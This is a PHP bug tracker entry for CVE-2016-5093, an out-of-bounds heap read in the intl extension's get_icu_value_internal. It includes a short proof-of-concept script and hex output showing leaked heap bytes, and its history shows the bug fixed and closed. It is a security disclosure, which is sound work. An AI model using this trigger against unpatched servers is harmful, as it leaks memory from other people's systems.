PHP :: Sec Bug #72241 :: get_icu_value_internal out-of-bounds read
| Sec Bug #72241 | get_icu_value_internal out-of-bounds read | ||||
|---|---|---|---|---|---|
| Submitted: | 2016-05-19 02:52 UTC | Modified: | 2016-05-26 21:04 UTC | ||
| From: | fernando at null-life dot com | Assigned: | stas (profile) | ||
| Status: | Closed | Package: | intl (PECL) | ||
| PHP Version: | 5.5.35 | OS: | Linux | ||
| Private report: | No | CVE-ID: | 2016-5093 | ||
[2016-05-19 02:52 UTC] fernando at null-life dot com
Description:
------------
This was tested on PHP 7 with ASAN and USE_ZEND_ALLOC=0. Absence of null character causes unexpected zend_string length and leaks heap memory.
The test script uses locale_get_primary_language to reach get_icu_value_internal but there are some other functions that also trigger this issue:
locale_canonicalize
locale_filter_matches
locale_lookup
locale_parse
I'm attaching a possible patch for review.
------------------------------
Source code
ext/intl/locale/locale_methods.c
static zend_string* get_icu_value_internal( const char* loc_name , char* tag_name, int* result , int fromParseLocale)
{
.....
tag_value->len = strlen(tag_value->val);
// strlen keeps reading after the allocated memory because there's no null terminator, and returns a value bigger than 1000
return tag_value;
}
Test script:
---------------
<?php
$var1=str_repeat("A", 1000);
$out = locale_get_primary_language($var1);
echo strlen($out) . PHP_EOL;
echo unpack('H*', $out)[1] . PHP_EOL;
Expected result:
----------------
USE_ZEND_ALLOC=0 /home/user/php-7.0/sapi/cli/php -n -dextension=/home/user/php-7.0/modules/intl.so poc.php
1000
61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161
Actual result:
--------------
USE_ZEND_ALLOC=0 /home/user/php-7.0/sapi/cli/php -n -dextension=/home/user/php-7.0/modules/intl.so poc.php
1006
61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161e878dcece907
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2016-05-19 03:08 UTC] fernando at null-life dot com
[2016-05-23 00:51 UTC] stas@php.net
-Assigned To: +Assigned To: stas
[2016-05-23 00:54 UTC] stas@php.net
-PHP Version: 7.0.6 +PHP Version: 5.5.35
[2016-05-23 22:51 UTC] fernando at null-life dot com
[2016-05-24 23:30 UTC] stas@php.net
-Status: Assigned +Status: Closed